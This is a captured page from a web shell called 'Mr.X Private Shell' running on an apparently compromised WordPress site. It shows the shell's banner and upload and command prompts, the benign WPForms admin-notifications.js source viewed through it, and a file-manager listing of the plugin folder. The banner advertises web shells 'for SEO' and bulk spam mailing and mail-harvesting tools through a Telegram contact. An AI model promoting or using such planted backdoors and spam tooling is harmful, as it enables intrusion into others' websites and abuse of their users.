__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* global wpforms_admin, WPFormsAdmin */

/**
 * WPForms Admin Notifications.
 *
 * @since 1.6.0
 */

'use strict';

var WPFormsAdminNotifications = window.WPFormsAdminNotifications || ( function( document, window, $ ) {

	/**
	 * Elements holder.
	 *
	 * @since 1.6.0
	 *
	 * @type {object}
	 */
	var el = {

		$notifications:    $( '#wpforms-notifications' ),
		$nextButton:       $( '#wpforms-notifications .navigation .next' ),
		$prevButton:       $( '#wpforms-notifications .navigation .prev' ),
		$adminBarCounter:  $( '#wp-admin-bar-wpforms-menu .wpforms-menu-notification-counter' ),
		$adminBarMenuItem: $( '#wp-admin-bar-wpforms-notifications' ),

	};

	/**
	 * Public functions and properties.
	 *
	 * @since 1.6.0
	 *
	 * @type {object}
	 */
	var app = {

		/**
		 * Start the engine.
		 *
		 * @since 1.6.0
		 */
		init: function() {

			$( app.ready );
		},

		/**
		 * Document ready.
		 *
		 * @since 1.6.0
		 */
		ready: function() {

			app.updateNavigation();
			app.events();
		},

		/**
		 * Register JS events.
		 *
		 * @since 1.6.0
		 */
		events: function() {

			el.$notifications
				.on( 'click', '.dismiss', app.dismiss )
				.on( 'click', '.next', app.navNext )
				.on( 'click', '.prev', app.navPrev );
		},

		/**
		 * Click on the Dismiss notification button.
		 *
		 * @since 1.6.0
		 *
		 * @param {object} event Event object.
		 */
		dismiss: function( event ) {

			if ( el.$currentMessage.length === 0 ) {
				return;
			}

			// Update counter.
			var count = parseInt( el.$adminBarCounter.text(), 10 );
			if ( count > 1 ) {
				--count;
				el.$adminBarCounter.html( count );
			} else {
				el.$adminBarCounter.remove();
				el.$adminBarMenuItem.remove();
			}

			// Remove notification.
			var $nextMessage = el.$nextMessage.length < 1 ? el.$prevMessage : el.$nextMessage,
				messageId = el.$currentMessage.data( 'message-id' );

			if ( $nextMessage.length === 0 ) {
				el.$notifications.remove();
			} else {
				el.$currentMessage.remove();
				$nextMessage.addClass( 'current' );
				app.updateNavigation();
			}

			// AJAX call - update option.
			var data = {
				action: 'wpforms_notification_dismiss',
				nonce: wpforms_admin.nonce,
				id: messageId,
			};

			$.post( wpforms_admin.ajax_url, data, function( res ) {

				if ( ! res.success ) {
					WPFormsAdmin.debug( res );
				}
			} ).fail( function( xhr, textStatus, e ) {

				WPFormsAdmin.debug( xhr.responseText );
			} );
		},

		/**
		 * Click on the Next notification button.
		 *
		 * @since 1.6.0
		 *
		 * @param {object} event Event object.
		 */
		navNext: function( event ) {

			if ( el.$nextButton.hasClass( 'disabled' ) ) {
				return;
			}

			el.$currentMessage.removeClass( 'current' );
			el.$nextMessage.addClass( 'current' );

			app.updateNavigation();
		},

		/**
		 * Click on the Previous notification button.
		 *
		 * @since 1.6.0
		 *
		 * @param {object} event Event object.
		 */
		navPrev: function( event ) {

			if ( el.$prevButton.hasClass( 'disabled' ) ) {
				return;
			}

			el.$currentMessage.removeClass( 'current' );
			el.$prevMessage.addClass( 'current' );

			app.updateNavigation();
		},

		/**
		 * Update navigation buttons.
		 *
		 * @since 1.6.0
		 */
		updateNavigation: function() {

			el.$currentMessage = el.$notifications.find( '.wpforms-notifications-message.current' );
			el.$nextMessage = el.$currentMessage.next( '.wpforms-notifications-message' );
			el.$prevMessage = el.$currentMessage.prev( '.wpforms-notifications-message' );

			if ( el.$nextMessage.length === 0 ) {
				el.$nextButton.addClass( 'disabled' );
			} else {
				el.$nextButton.removeClass( 'disabled' );
			}

			if ( el.$prevMessage.length === 0 ) {
				el.$prevButton.addClass( 'disabled' );
			} else {
				el.$prevButton.removeClass( 'disabled' );
			}
		},
	};

	return app;

}( document, window, jQuery ) );

// Initialize.
WPFormsAdminNotifications.init();

Filemanager

Name Type Size Permission Actions
builder Folder 0750
challenge Folder 0750
education Folder 0750
email Folder 0750
forms Folder 0750
logger Folder 0750
pages Folder 0750
payments Folder 0750
share Folder 0750
splash Folder 0750
admin-editor.js File 1.53 KB 0640
admin-editor.min.js File 986 B 0640
admin-notifications.js File 3.82 KB 0640
admin-notifications.min.js File 1.99 KB 0640
admin.js File 76.54 KB 0640
admin.min.js File 37.79 KB 0640
form-embed-wizard.js File 13.94 KB 0640
form-embed-wizard.min.js File 7.3 KB 0640
notices.js File 1.35 KB 0640
notices.min.js File 603 B 0640
Filemanager